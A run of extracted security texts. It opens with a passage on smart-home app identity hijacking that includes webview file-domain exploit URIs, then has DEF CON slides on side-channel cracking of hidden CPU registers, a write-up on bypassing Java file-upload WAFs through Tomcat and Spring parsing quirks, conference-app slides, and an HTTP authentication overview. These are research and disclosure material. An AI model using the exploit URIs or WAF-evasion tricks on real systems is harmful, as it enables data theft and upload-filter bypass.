只负责自己 音箱自生的安全 性,第三方产品的 安全性自行负责。 厂商 B 负责 第三方自己负责,但是 ***link 协议统一交互控 制、OTA 更新等,安全性极 大的有保障 账号 第三方 Oauth 登录 授权 统一厂商 B 的帐户 厂商 C 的帐户 APP 控制 第三方有独立 APP 厂商 B 的 APP 厂商 C 的 APP(H5 小程序) 5、通过应用实现身份劫持 通过应用实现身份劫持,常用的方法有如下两种: 1)通过 webview JS 交互接口远程命令执行或泄露身份账号 应用 APP 通过为 webview @JavascriptInterface 关键字,自定义添加身份获取的函数,并 且没对加载 url 做好限制,导致身份信息远程泄露或者远程命令执行。 2)Webview file 域远程信息泄露 应用开启 WebSettings.setAllowUniversalAccessFromFileURLs(true),并且 webview 对加载 的 url 没有任何限制,则应用 APP 下所有私有目录信息都会被窃取。 通过 webview JS 交互接口远程命令执行或泄露身份账号 应用扫一扫时(CaptureActivity),当 CaptureActivity 扫描到是“合法”url 时,会调用 com.***.WebViewActivity 进行 url 加载,但是 url 判断逻辑存在漏洞,导致攻击者可以调用 WebViewActivity 定义的交互接口,远程获取用户账号等敏感身份信息,漏洞执行效果如图 5.1 所示。 漏洞案列简化: if(loadurl.contains(“***”)){ //合法 } else{ //不合法 } 图 5.1:通过 webview-JS 交互接口获取厂商 C 控制应用的身份 Webview file 域远程信息泄露 厂商 A 的音箱控制 APP 中 WVWebViewActivity 对外导出,并接收如下远程 uri scheme: assistant://hsend***Poc5_web_view?direct_address=url。 WVWebViewActivity 接受外部的 url 会传入 Fragment 中的 webview 中进行加载,并且 WVWebViewActivity 中对 webview 进行了设置,开启了 JS 和 file 文件访问能力,并设置了 WebSettings.setAllowUniversalAccessFromFileURLs(true)。 攻击者可以将 assistant 伪协议中的 url 先通过 url 加载任意 html,然后下载恶意 html 文 件到本地,然后 webview 跳转加载本地的恶意 html 文件,窃取用户私有目录内的身份信息。 assistant://hsend***Poc5_web_view?direct_address=http://www.test.com assistant://hsend***Poc5_web_view?direct_address=file:///*/***.html 6、智能家居身份劫持漏洞总结 1:配网泄露 2:设备交互控制时,劫持 1)app/设备->server:厂商 A 为代表,userid 为身份凭证,可劫持; 2)局域网控制: A、厂商 B 的局域网控制基于 miio 协议:token 泄露,可劫持; B、厂商 C 的局域网控制:带认证的密钥协商+对称密钥加密(localkey),协议安全,但是设备身 份依赖于 ECC-sPubKey(多个设备一个 key),设备可被伪造; 3:app 应用存在身份穿越漏洞 A、Webview JS 交互接口远程命令执行或远程信息泄露 B、Webview File 域远程信息克隆 7、参考文章 1.https://github.com/WeMobileDev/article/blob/master/%E5%9F%BA%E4%BA%8ETLS1.3%E7%9 A%84%E5%BE%AE%E4%BF%A1%E5%AE%89%E5%85%A8%E9%80%9A%E4%BF%A1%E5%8D%8F %E8%AE%AEmmtls%E4%BB%8B%E7%BB%8D.md 2. https://github.com/rytilahti/python-miio 3.https://paper.seebug.org/616/
pdf
{ domas / @xoreaxeaxeax / DEF CON 2018 The ring 0 facade: awakening the processor's inner demons  Christopher Domas  Cyber Security Researcher ./bio disclaimer: The research presented herein was conducted and completed as an independent consultant. None of the research presented herein was conducted under the auspices of my current employer. The views, information and opinions expressed in this presentation and its associated research paper are mine only and do not reflect the views, information or opinions of my current employer.  General-purpose-registers  Special-purpose-registers  FPU, MMX, XMM, YMM, ZMM  Control registers  Model-specific-registers Processor registers  Debugging  Execution tracing  Performance monitoring  Clocking  Thermal controls  Cache behavior Model-specific-registers  Accessing MSRs:  Ring 0  Accessed by address, not name  0x00000000 – 0xFFFFFFFF  Only a small fraction are implemented  10s – few 100s  64 bits  Read with rdmsr  Read to edx:eax  Written with wrmsr  Written from edx:eax Model-specific-registers movl $0x1a0, %%ecx /* load msr address */ rdmsr /* read msr 0x1a0 */ /* configure new values for msr */ orl $1, %%eax orl $4, %%edx wrmsr /* write msr 0x1a0 */ Model-specific-registers  Undocumented debug features  Unlock disabled cores  Hardware backdoors Secrets… “ Additionally, accessing some of the internal control registers can enable the user to bypass security mechanisms, e.g., allowing ring 0 access at ring 3. In addition, these control registers may reveal information that the processor designers wish to keep proprietary. For these reasons, the various x86 processor manufacturers have not publicly documented any description of the address or function of some control MSRs . ” - US 8341419 Secrets… “ Nevertheless, the existence and location of the undocumented control MSRs are easily found by programmers, who typically then publish their findings for all to use. Furthermore, a processor manufacturer may need to disclose the addresses and description of the control MSRs to its customers for their testing and debugging purposes. The disclosure to the customer may result in the secret of the control MSRs becoming widely known, and thus usable by anyone on any processor. ” - US 8341419 Secrets… “ The microprocessor also includes a secret key, manufactured internally within the microprocessor and externally invisible. The microprocessor also includes an encryption engine, coupled to the secret key, configured to decrypt a user-supplied password using the secret key to generate a decrypted result in response to a user instruction instructing the microprocessor to access the control register. ” - US 8341419 Secrets…  Could my processor have… secret, undocumented, password protected …registers in it, right now? Secrets…  AMD K7, K8  Known password protected MSRs  Discovered through firmware RE  32 bit password loaded into a GPR  Let’s start here, as a case study Password protections movl $0x12345678, %%edi /* password */ movl $0x1337c0de, %%ecx /* msr */ rdmsr /* if MSR 0x1337c0de does not exist, CPU generates #GP(0) exception */ /* if password 0x12345678 is incorrect, CPU generates #GP(0) exception */ Password protections  Challenge:  To detect a password protected MSR, must guess the MSR address and the MSR password  Guessing either one wrong gives the same result: #GP(0) exception  32 bit address + 32 bit password = 64 bits Password protections // naive password protected MSR identification for msr in 0 to 0xffffffff: for p in 0 to 0xffffffff: p -> eax, ebx, edx, esi, edi, esp, ebp msr -> ecx try: rdmsr catch: // fault: incorrect password, or msr does not exist continue // no fault: correct password, and msr exists return (msr, p) Password protections  Even in the simple embodiment (32 bit passwords)  At 1,000,000,000 guesses per second  Finding all password-protected MSRs takes 600 years Password protections  How might we detect whether our processor is hiding password protected registers, without needing to know the password first? Password protections  Assembly is a high level abstraction  CPU micro-ops execute assembly instructions Speculation  Possible pseudocode for microcoded MSR accesses (rdmsr, wrmsr): if msr == 0x1: ... // (service msr 0x1) elif msr == 0x6: ... // (service msr 0x6) elif msr == 0x1000: ... // (service msr 0x1000) else: // msr does not exist // raise general protection exception #gp(0) Speculation  Possible pseudocode for password-protected microcoded MSR accesses (rdmsr, wrmsr): if msr == 0x1: ... // (service msr 0x1) elif msr == 0x6: ... // (service msr 0x6) elif msr == 0x1337c0de: // password protected register – verify password if ebx == 0xfeedface: ... // (service msr 0x1337c0de) else: // wrong password // raise general protection exception #gp(0) else: // msr does not exist // raise general protection exception #gp(0) Speculation  Microcode:  Checks if the user is accessing a password-protected register  Then checks if supplied password is correct  Same visible result to the user  But…  Accessing a password-protected MSR takes a slightly different amount of time than accessing a non-password-protected MSR Speculation  Non-password-protected path: if msr == 0x1: ... // (service msr 0x1) elif msr == 0x6: ... // (service msr 0x6) elif msr == 0x1337c0de: // password protected register – verify password if ebx == 0xfeedface: ... // (service msr 0x1337c0de) else: // wrong password // raise general protection exception #gp(0) else: // msr does not exist // raise general protection exception #gp(0) Speculation  Password-protected path: if msr == 0x1: ... // (service msr 0x1) elif msr == 0x6: ... // (service msr 0x6) elif msr == 0x1337c0de: // password protected register – verify password if ebx == 0xfeedface: ... // (service msr 0x1337c0de) else: // wrong password // raise general protection exception #gp(0) else: // msr does not exist // raise general protection exception #gp(0) Speculation  Depending on exact implementation  Password-protected path may be longer or shorter  But should be different  Possible to craft each path to have identical execution time  Complexities of microcode + no public research attacking MSRs = seems unlikely Speculation mov %[_msr], %%ecx /* load msr */ mov %%eax, %%dr0 /* serialize */ rdtsc /* start time */ movl %%eax, %%ebx rdmsr /* access msr */ rdmsr_handler: /* exception handler */ mov %%eax, %%dr0 /* serialize */ rdtsc /* end time */ subl %%ebx, %%eax /* calculate access time */ A timing side-channel  Attack executed in ring 0 kernel module  #GP(0) exception is redirected to instruction following rdmsr  System stack reset after each measurement to avoid specific fault handling logic A timing side-channel  Initial configuration routine measures execution time of a #GP(0) exception (by executing a ud2 instruction)  Subtracted out of faulting MSR measurements  Serialization handles out-of-order execution  Simplicity: only track low 32 bits of timer  Repeat sample, select lowest measurement A timing side-channel AMD K8  Timing measurements let us speculate on a rough model of the underlying microcode  Specifically, focused on variations in observed fault times. A timing side-channel AMD K8  Speculate that separate ucode paths exist for processing each fault group.  Practically speaking, breaking ucode MSR checks into groups improves execution time A timing side-channel if msr < 0x174: if msr == 0x0: ... elif msr == 0x1: ... elif msr == 0x10: ... ... else: #gp(0) elif msr < 0x200: if msr == 0x174: ... ... else: #gp(0) elif msr < 0x270: if msr == 0x200: ... ... else: #gp(0) elif msr < 0x400: if msr == 0x277: ... ... else: #gp(0) elif msr < 0xc0000000: if msr == 0x400: ... ... else: #gp(0) elif msr < 0xc0000080: #gp(0) elif msr < 0xc0010000: if msr == 0xc0000080: ... ... else: #gp(0) elif msr < 0xc0011000: if msr == 0xc0010000: ... ... else: #gp(0) elif msr < 0xc0020000: #gp(0) else: #gp(0) // possible k8 ucode model  Find the bounds checks that appear to exist for no purpose  i.e. regions explicitly checked by ucode, even though there are no visible MSRs within them A timing side-channel if msr < 0x174: if msr == 0x0: ... elif msr == 0x1: ... elif msr == 0x10: ... ... else: #gp(0) elif msr < 0x200: if msr == 0x174: ... ... else: #gp(0) elif msr < 0x270: if msr == 0x200: ... ... else: #gp(0) elif msr < 0x400: if msr == 0x277: ... ... else: #gp(0) elif msr < 0xc0000000: if msr == 0x400: ... ... else: #gp(0) elif msr < 0xc0000080: #gp(0) elif msr < 0xc0010000: if msr == 0xc0000080: ... ... else: #gp(0) elif msr < 0xc0011000: if msr == 0xc0010000: ... ... else: #gp(0) elif msr < 0xc0020000: #gp(0) else: #gp(0) // possible k8 ucode model  Timings show that there are explicit ucode checks on the regions:  0xC0000000 – 0xC000007F  0xC0011000 – 0xC001FFFF  … even though there are no visible MSRs in those regions A timing side-channel AMD K8  Speculate that anomalies must be due to password checks  Reduces MSR search space by 99.999%  Cracking passwords is now feasible Cracking protected registers  Simple embodiment:  32 bit password  Loaded into GPR or XMM register  Use list of side-channel derived MSRs  Continue until MSR is unlocked, or all passwords are tried Cracking protected registers // side-channel assisted password identification for msr in [0xC0000000:0xC000007F, 0xC0011000: 0xC001FFFF]: for p in 0 to 0xffffffff: p -> eax, ebx, edx, esi, edi, esp, ebp msr -> ecx try: rdmsr catch: // fault: incorrect password, or msr does not exist continue // no fault: correct password, and msr exists return (msr, p) Cracking protected registers  Cracked the AMD K8  Password 0x9c5a203a loaded into edi  MSRs: 0xc0011000 – 0xc001ffff  Check on 0xc0000000 – 0xc000007f remains unexplained Cracking protected registers  This region and password were already known through firmware reverse engineering  But this is the first approach to uncovering these MSRs without first observing them in use Cracking protected registers  Side-channel attacks into the microcode offer a powerful opportunity  … so what else can we find? Digging deeper… AMD E350 VIA C3 VIA Nano Intel Atom N270 Intel Core i5  Cracking extensions:  Write protected MSRs  64 bit password in 2 32 bit registers  Accessible from real mode Advanced cracking  And…  Failed.  No new passwords uncovered. Advanced cracking  Sometimes, that’s research. Conclusions  How to explain the timing anomalies?  64/128/256 bit passwords in XMM etc. registers  More advanced password checks, as described in patent literature  MSRs only accessible in ultra-privileged modes beyond ring 0 Conclusions  … or, something totally benign:  Microcode checks on processor family, model, stepping  Allow one ucode update to be used on many processors  Timing anomalies in MSR faults on Intel processors seemed to accurately align with specific documented MSRs on related families Conclusions  So, we’re in the clear?  Sadly, no.  Instruction grep through firmware databases reveals previously unknown passwords:  0x380dcb0f in esi register  Hundreds of firmwares, variety of vendors  Windows kernel Conclusions  We’ve raised more questions than we’ve answered  But the stakes are high:  MSRs control everything on the processor  Research is promising  Entirely new approach to detecting processor secrets The truth is out there… github.com/xoreaxeaxeax  project:nightshyft  project:rosenbridge  sandsifter  M/o/Vfuscator  REpsych  x86 0-day PoC  Etc. Feedback? Ideas? domas  @xoreaxeaxeax  [email protected]
pdf
探寻Java⽂件上传流量层⾯waf绕过姿势系 列⼆ 探寻Java⽂件上传流量层⾯waf绕过姿势系列⼆ 写在前⾯ 正⽂ tomcat 灵活的parseQuotedToken 变形之双写filename*与filename 变形之编码误⽤ Spring4 猜猜我在第⼏层 Spring5 "双写"绕过 写在前⾯ 这篇和上篇不同的是上篇更多关注于RFC⽂档规范的部分,⽽这篇更关注于如何从代码层⾯ 上的利⽤来绕过,具体内容请接着往下看 正⽂ tomcat 灵活的parseQuotedToken 继续看看这个解析value的函数,它有两个终⽌条件,⼀个是⾛到最后⼀个字符,另⼀个是遇 到 ; 如果我们能灵活控制终⽌条件,那么waf引擎在此基础上还能不能继续准确识别呢? 如果你理解了上⾯的代码你就能构造出下⾯的例⼦ private String parseQuotedToken(final char[] terminators) {  char ch;  i1 = pos;  i2 = pos;  boolean quoted = false;  boolean charEscaped = false;  while (hasChar()) {    ch = chars[pos];    if (!quoted && isOneOf(ch, terminators)) {      break;   }    if (!charEscaped && ch == '"') {      quoted = !quoted;   }    charEscaped = (!charEscaped && ch == '\\');    i2++;    pos++; }  return getToken(true); } 同时我们知道jsp如果带 " 符号也是可以访问到的,因此我们还可以构造出这样的例⼦ 还能更复杂点么,当然可以的结合这⾥的 \ ,以及上篇⽂章当中提到的 org.apache.tomcat.util.http.parser.HttpParser#unquote 中对出现 \ 后参数的转 化操作,这时候如果waf检测引擎当中是以最近 "" 作为⼀对闭合的匹配,那么waf检测引擎可 能会认为这⾥上传的⽂件名是 y4tacker.txt\ ,从⽽放⾏ 变形之双写filename*与filename 这个场景相对简单 ⾸先tomcat的 org.apache.catalina.core.ApplicationPart#getSubmittedFileName 的场景下,⽂件上传解析header的过程当中,存在while循环会不断往后读取,最终会将 key/value以Haspmap的形式保存,那么如果我们写多个那么就会对其覆盖,在这个场景下绕过 waf引擎没有设计完善在同时出现两个filename的时候到底取第⼀个还是第⼆个还是都处理, 这些差异性也可能导致出现⼀些新的场景 同时这⾥下⾯⼀⽅⾯会删除最后⼀个 * 另⼀⽅⾯如果 lowerCaseNames 为 true ,那么参数名还会转为⼩写,恰好这⾥确实设置了 这⼀点 因此综合起来可以写出这样的payload,当然结合上篇还可以变得更多变这⾥不再讨论 变形之编码误⽤ 假设这样⼀个场景,waf同时⽀持多个语⾔,也升级到了新版本会解析 filename* ,假设go 当中有个编码叫y4,⽽java当中没有,waf为了效率将两个混合处理,这样会导致什么问题 呢? 如果没有,这⾥报错后会保持原来的值,因此我认为这也可以作为⼀种绕过思路? Spring4 这⾥我⽤了 springboot1.5.20RELEASE + springframework4.3.23 ,这⾥不去研究⼩版 本间是否有差异只看看⼤版本了 猜猜我在第⼏层 说个前提这⾥只针对单⽂件上传的情况,虽然这⾥的代码逻辑⼀眼看出不能有上⾯那种存在 双写的问题,但是这⾥又有个更有趣的现象 try {  paramValue = RFC2231Utility.hasEncodedValue(paramName) ? RFC2231Utility.decodeText(paramValue)   : MimeUtility.decodeText(paramValue); } catch (final UnsupportedEncodingException e) {  // let's keep the original value in this case } 我们来看看这个 extractFilename 函数⾥⾯到底有啥骚操作吧,这⾥靠函数 indexOf 去定 位key(filename=/filename*=)再做截取操作    private String extractFilename(String contentDisposition, String key) {        if (contentDisposition == null) {            return null;       } else {            int startIndex = contentDisposition.indexOf(key);            if (startIndex == -1) {                return null;           } else {                String filename = contentDisposition.substring(startIndex + key.length());                int endIndex;                if (filename.startsWith("\"")) {                    endIndex = filename.indexOf("\"", 1);                    if (endIndex != -1) {                        return filename.substring(1, endIndex);                   }               } else { 这时候你的反应应该会和我⼀样,套中套之waf你猜猜我是谁 当然我们也可以不要双引号,让waf哭去吧 Spring5 同样是 springboot2.6.4 + springframework5.3 ,这⾥不去研究⼩版本间是否有差异只 看看⼤版本了 "双写"绕过 来看看核⼼部分                    endIndex = filename.indexOf(";");                    if (endIndex != -1) {                        return filename.substring(0, endIndex);                   }               }                return filename;           }       }   }    public static ContentDisposition parse(String contentDisposition) {        List<String> parts = tokenize(contentDisposition);        String type = (String)parts.get(0);        String name = null;        String filename = null;        Charset charset = null;        Long size = null;        ZonedDateTime creationDate = null;        ZonedDateTime modificationDate = null;        ZonedDateTime readDate = null;        for(int i = 1; i < parts.size(); ++i) {            String part = (String)parts.get(i);            int eqIndex = part.indexOf(61);            if (eqIndex == -1) {                throw new IllegalArgumentException("Invalid content disposition format");           }            String attribute = part.substring(0, eqIndex);            String value = part.startsWith("\"", eqIndex + 1) && part.endsWith("\"") ? part.substring(eqIndex + 2, part.length() - 1) : part.substring(eqIndex + 1);            if (attribute.equals("name")) {                name = value;           } else if (!attribute.equals("filename*")) {                //限制了如果为null才能赋值                if (attribute.equals("filename") && filename == null) {                    if (value.startsWith("=?")) {                        Matcher matcher = BASE64_ENCODED_PATTERN.matcher(value);                        if (matcher.find()) {                            String match1 = matcher.group(1);                            String match2 = matcher.group(2);                            filename = new String(Base64.getDecoder().decode(match2), Charset.forName(match1));                       } else {                            filename = value;                       }                   } else {                        filename = value;                   }               } else if (attribute.equals("size")) {                    size = Long.parseLong(value);               } else if (attribute.equals("creation-date")) {                    try {                        creationDate = ZonedDateTime.parse(value, DateTimeFormatter.RFC_1123_DATE_TIME);                   } catch (DateTimeParseException var20) {                   }               } else if (attribute.equals("modification-date")) {                    try {                        modificationDate = ZonedDateTime.parse(value, DateTimeFormatter.RFC_1123_DATE_TIME);                   } catch (DateTimeParseException var19) {                   }               } else if (attribute.equals("read-date")) {                    try {                        readDate = ZonedDateTime.parse(value, DateTimeFormatter.RFC_1123_DATE_TIME);                   } catch (DateTimeParseException var18) {                   }               }           } else {                int idx1 = value.indexOf(39);                int idx2 = value.indexOf(39, idx1 + 1);                if (idx1 != -1 && idx2 != -1) {                    charset = Charset.forName(value.substring(0, idx1).trim());                    Assert.isTrue(StandardCharsets.UTF_8.equals(charset) || StandardCharsets.ISO_8859_1.equals(charset), "Charset should be UTF-8 or ISO-8859-1");                    filename = decodeFilename(value.substring(idx2 + 1), charset);               } else {                    filename = decodeFilename(value, StandardCharsets.US_ASCII);               }           }       } spring5当中又和spring4逻辑有区别,导致我们又可以"双写"绕过(⾄于为什么我要打引号可以 看看我代码中的注释),因此如果我们先传 filename=xxx 再传 filename*=xxx ,由于没有 前⾯提到的 filename == null 的判断,造成可以覆盖 filename 的值 同样我们全⽤ filename* 也可以实现双写绕过,和上⾯⼀个道理 但由于这⾥indexof的条件变成了"="号,⽽不像spring4那样的 filename=/filename=* ,毕 竟indexof默认取第⼀个,造成不能像spring4那样做嵌套操作        return new ContentDisposition(type, name, filename, charset, size, creationDate, modificationDate, readDate);   }
pdf
building the @shortxstack @sethlaw intros · whitney champion · senior systems engineer · https://unicorns.lol · @shortxstack · seth law · appsec consultant · https://redpointsecurity.com · @sethlaw inception what had happened was... android v1.0 iOS v1.0 it’s official pain points scheduling don’t trust hax0rs bug fixes at all hours finding time waiting on [REDACTED] overhaul kotlin overhaul ui redesign multiple conferences high points easter eggs attendee feedback community involvement lessons learned haters gonna hate github issues waiting on [REDACTED] backup plans going forward more streamlined iOS/android parity scheduling app more conferences feedback is always welcome :) questions? thank you <3 @shortxstack @sethlaw
pdf
HTTP认证方案 Author:h0ld1rs,Reclu3e 前言 因为HTTP协议是开放的,可以任人调用。所以,如果接口不希望被随意调用,就需要做访问权限的控 制,认证好的用户,才允许调用API。 本篇文章在郁离歌师傅的指导下,参考RFC对HTTP常用的认证方案做了归纳总结 Form认证 最常见的一种认证方式,即表单认证,表单认证一般都会配合cookie+sessiond的使用,现在绝大多数 的Web站点都是使用此认证方式。用户在登录页中填写用户名和密码,服务端认证通过后会将sessionId 返回给浏览器端,浏览器会保存sessionId到浏览器的Cookie中。因为Http是无状态的,所以浏览器使用 Cookie来保存sessionId。下次客户端发送的请求中会包含sessionId值,服务端发现sessionId存在并认 证过则会提供资源访问。 值得一提的是:Cookie+Session 认证属于Form认证,Form认证并不属于HTTP标准验证。 Basic(RFC7617) • 传输:将凭据作为用户 ID/ 传输密码对,使用 Base64 编码。 • 是基于客户端类型最基本的认证方案 • 服务器只有在可以验证时才会为请求提供服务,申请的保护空间的用户名和密码 请求的资源。 • 特征:response: Unauthorized Authorization头中数据 Basic 请求头数据 WWW-Authorization ○ 认证方式 Basic ○ realm ▪ 安全域 base64(username:password) 数据包举例 HTTP HTTP/1.1 401 Unauthorized Date: Mon, 04 Feb 2014 16:50:53 GMT WWW-Authenticate: Basic realm="WallyWorld" //其中“WallyWorld”是服务器分配的用于标识保护空间的字符串。 认证方法 1. 客户端发送请求,服务器端接受请求后,判断如果请求的资源需要认证,则返回401状态,并在 response headers中加入WWW-Authenticate头部,要求客户端带上认证信息以后再发一次请求 2. 客户端收到401返回信息后,重新向服务器发送请求,并在request headers中加入Authoriaztion 头部,用来说明认证的用户名、密码、算法等信息 3. 服务器端从用户那里取得用户ID与密码 • 但用户ID与密码不得包含任何控制字符 • 包含冒号字符的用户ID是无效的 • 许多用户代理会在不检查 • 用户提供的用户 ID 是否包含冒号的情况下生成用户传递字符串; 然后,收件人会将输入的用户 名的一部分视为密码的一部分 4. 通过冒号(:)连接用户ID,来构造用户通行证,字符和密码 5. 将用户密码编码为八字节序列 6. 通过使用base64,使得方式转化为US-ASCLL字符序列 7. 服务器再次收到请求后,判断以上认证信息无误,返回200,并在response headers中加入 Authorization-Info头部 缺陷 1. 此认证方案的原始定义未能指定用于将用户密码转化为八位字节序列的字符串编码方案 2. 大多数实现取决于特定的环境编码,例如:ISO-8859-1,UTF-8 3. 出于向后兼容的原因,该规范继续保留未定义的默认编码,只要他与US-ASCLL兼容 4. 假冒服务器很容易骗过认证,诱导用户输入用户名和密码。 5. 即使密码被强加密,第三方仍可通过加密后的用户名和密码进行重放攻击。 为了传输安全,需要配合SSL使用。 代理授权 出现在RFC 7235上,还是属于basic认证。 HTTP Proxy-Authorization请求标头包含用于向代理服务器认证用户代理的凭证,通常在服务器响应 407 Proxy Authentication Required状态和Proxy-Authenticate标题后。 如:Proxy-Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l 实际举例 如下图,就是基本的http认证,浏览器弹出基本的对话框 如果认证失败,则返回如下 当请求成功的时候,返回的数据包如下 HTTP服务器在每次收到请求包后,根据协议取得客户端附加的用户信息(BASE64编码的用户名和密 码),解开请求包,对用户名及密码进行验证,如果用 户名及密码正确,则根据客户端请求,返回客户 端所需要的数据;否则,返回错误代码或重新要求客户端提供用户名及密码。 实现 Apache 要对Apache服务器上的目录进行密码保护, 你需要一个 .htaccess 和 a .htpasswd 文件. 该 .htaccess 文件格式通常看起来像这样: 该 .htaccess 文件引用一个 .htpasswd 文件,其中每行用冒号(“:”)分隔的用户名和密码. 你不能看到真 实的密码因为它们是 encrypted (在这个例子中是使用了 MD5). 你可以命名.htpasswd 文件 为你所喜欢 的名字, 但是应该保证这个文件不被其他人访问. (Apache通常配置阻止访问 .ht* 类的文件). AuthType Basic AuthName "Access to the staging site" AuthUserFile /path/to/.htpasswd Require valid-user Nginx 在nginx配置中,对需要保护的location你需要做如下配置:auth_basic指令提供密码保护域的名称; auth_basic_user_file指令指定包含用户密文的证书的文件(与apache例子中一致) 在 nginx 中, 你需要指定一个保护区域和该 auth_basic 指令提供的保护区域名字. 然后该 auth_basic_user_file 指令指向一个.htpasswd 包含加密用户凭据的文件, 就像上面的 apache 例子. URL(已废弃) 如下: https://username:[email protected]/ Bearer(RFC6750) Bearer即Bearer Token 为了验证使用者的身份,需要客户端向服务器端提供一个可靠的验证信息,称为Token,这个token通常 由Json数据格式组成,通过hash散列算法生成一个字符串,所以称为Json Web Token(Json表示令牌 的原始值是一个Json格式的数据,web表示是在互联网传播的,token表示令牌,简称JWT) 关于JWT,师傅们可以看这篇文章入门 认识JWT - 废物大师兄 - 博客园 Bearer的关键点有以下: • OAuth使客户端能通过获取的访问令牌来访问受保护的资源。 • Bearer验证中的凭证称为BEARER_TOKEN,或者是access_token,它的颁发和验证完全由我们自己的 应用程序来控制,而不依赖于系统和Web服务器 • 特征:Authorization :Bearer • 适用场景:分布式站点的单点登录(SSO)场景 数据包 认证方法 aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ location /status {                                         auth_basic           "Access to the staging site";   auth_basic_user_file /etc/apache2/.htpasswd; } HTTP GET /resource HTTP/1.1 Host: server.example.com Authorization: Bearer mF_9.B5f-4.1JqM • 客户端:从资源服务器请求受保护的资源,并通过提供访问令牌进行身份的验证。 • 资源服务器:验证访问令牌,如果有效,则为请求提供服务 • 当客户端以使用access_token参数将访问的令牌添加到请求正文中,必须满足以下条件: ○ HTTP 请求实体标头包括设置为“application/x-www-form-urlencoded”的“Content-Type”标头字 段。 ○ 协议主体遵守HTML定义的application/x-www-form-urlencoded”内容类型的编码要求。 ○ 请求实体主体是单部分的。 ○ 实体正文中编码内容必须完全由ASCLL字符组成 ○ 不得使用GET方法 • 使用access_token参数:其他参数必须以&符号连接 缺陷 • 使用保留的查询参数的名称,与URI命名空间背道而驰 • 如果受保护的资源请求不包括身份验证凭证,或不包含允许访问受保护资源的访问令牌,资源服务器 必须包含 HTTP “WWW-Authenticate”响应头字段;它也可以包含它以 响应其他条件。 • 必须使用Bearer,该方案必须后跟一个或多个 auth-param 值 • “scope”属性不能出现多次。该 “范围”值是为程序中使用,并不意味着要显示给最终用户。 • 回显的错误信息,容易被攻击者利用 • 攻击者会伪造或者修改现有令牌的内容,导致不正确的权限访问 JWT可以存在伪造攻击,举例如CTFhub 中的题目 HTTP POST /resource HTTP/1.1 Host: server.example.com Content-Type: application/x-www-form-urlencoded access_token=mF_9.B5f-4.1JqM HTTP GET /resource?access_token=mF_9.B5f-4.1JqM&p= HTTP/1.1 Host: server.example.com 防范 • 为了处理令牌重定向,授权服务器必须在令牌中包含预期接受者的身份。 • 授权服务器必须实现TLS,为了防止令牌泄露,必须使用TLS和提供机密性和完整性保护的密码套件来 应用机密性保护。 • 不记名令牌不得存储在可以明文发送的 cookie 中 • 加强前后端的检验 Digest(RFC7616) 这次是摘要认证 • Digest 方案基于简单的质询-响应范例 • 一个可选的头域允许服务器指定算法用于创建未加密的摘要或摘要。该文件增加了SHA-256 和 SHA- 512/256 算法。 认证方法 1. 客户端请求受保护资源 2. 服务器返回 401 状态和 WWW-Authenticate 响应头(由于需要Digest认证,服务器返回了两个重要 字段nonce(随机数)和realm) 3. 客户端接收到401状态表示需要进行认证,根据相关算法生成一个摘要,将摘要放到Authoriization 的请求头中,重新发送命令给服务器 HTTP POST http://127.0.0.1:8087/digest/auth HTTP/1.1 Accept: application/json cache-control: no-cache Postman-Token: 0d4e957a-f8ab-4b01-850f-4967ff10b8a0 User-Agent: PostmanRuntime/7.6.0 Connection: keep-alive HTTP HTTP/1.1 401 WWW-Authenticate: Digest realm="digest#Realm", qop="auth", nonce="MTU1NTMzMDg2MDA4MDo5MTdiMGI4ZmIwMDc2ZTgzOWU5NzA4YzEyZWEwNzlmMg==" Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Content-Type: application/json;charset=UTF-8 4. 服务器从 Header 中取出 digest 摘要信息,根据其中信息重新计算新的摘要,然后跟客户端传输的 摘要进行比较(就是比较 response 的值是否相等);因为服务器拥有与客户端同样的信息,因此 服务器可以进行同样的计算,以验证客户端提交的 response 值的正确性。 WWW-Authenticate响应头字段 realm: 显示给客户端的字符串 nonce: 服务端生成唯一的、不重复的随机值 algorithm: 默认MD5算法 qop: auth/auth-int 会影响摘要的算法 stale:密码随机数nonce过期 Authorization请求头字段 response: 客户端根据算法算出的摘要值 username: 要认证的用户名 realm: 认证域,可取任意标识值 uri: 请求的资源位置 qop: 保护质量 HTTP POST http://127.0.0.1:8087/digest/auth HTTP/1.1 Accept: application/json User-Agent: PostmanRuntime/7.6.0 Authorization: Digest username="123", realm="digest#Realm", nonce="MTU1NTMzMDg2MDA4MDo5MTdiMGI4ZmIwMDc2ZTgzOWU5NzA4YzEyZWEwNzlmMg==", uri="/digest/auth", algorithm="MD5", qop=auth, nc=00000001, cnonce="eYnywapi", response="0568a40f79a6960114e21f6ef2b60807" Connection: keep-alive HTTP HTTP/1.1 200 Expires: 0 Content-Type: application/json;charset=UTF-8 Content-Length: 22 ** digest auth is success ** //RFC2617示例 nonce = BASE64(time-stamp MD5(time-stamp ":" ETag ":" private-key)) //下面是spring-security的实现 long expiryTime = System.currentTimeMillis() + (long)(this.nonceValiditySeconds * 1000); String signatureValue = DigestAuthUtils.md5Hex(expiryTime + ":" + this.key); String nonceValue = expiryTime + ":" + signatureValue; String nonceValueBase64 = new String(Base64.getEncoder().encode(nonceValue.getBytes())); nonce: 每次随返回的 401 响应生成的任意随机字符串 nc: 16进制请求认证计数器,第一次 00000001 algorithm: 默认MD5算法 cnonce: 客户端密码随机数 Request-Digest摘要计算过程 1. 若算法是:MD5 或者是未指定 则 A1= :: 2. 若 qop 未定义或者 auth: 则 A2= : 3. 若 qop 为 auth response=MD5(MD5(A1):::::MD5(A2)) 4. 若 qop 没有定义 response=MD5(MD5(A1)::MD5(A2)) 摘要计算工具与计算方法 • DigestAuthUtils • http Digest认证计算方法整理_TYINY的博客-CSDN博客 优点 密码并非直接在摘要中使用,而是 HA1 = MD5(username:realm:password)。可解决明文方式在 网络上发送密码的问题。 服务器随机数 nonce 允许包含时间戳。因此服务器可以检查客户端提交的随机数 nonce,以防止 重放攻击 缺点 将存储密钥用的SALT通知到客户端本身就是很不安全的行为,如SALT被截获就大大增加了别人破 解密码的可能性 其次,由于这次做的产品本身属于标准化产品,登陆过程需支持标准DIGEST方式,无法限制其他 客户端的行为,如采用此方式,必然在标准化测试与对接时面临问题。 HOBA(RFC7486) HTTP源绑定身份验证 是一种基于数字签名的HTTP 身份验证方法的设计 用于嵌入在 HTML 中的基于 JavaScript 的身份验证 是一个需要密码的 HTTP 身份验证方案的替代方案 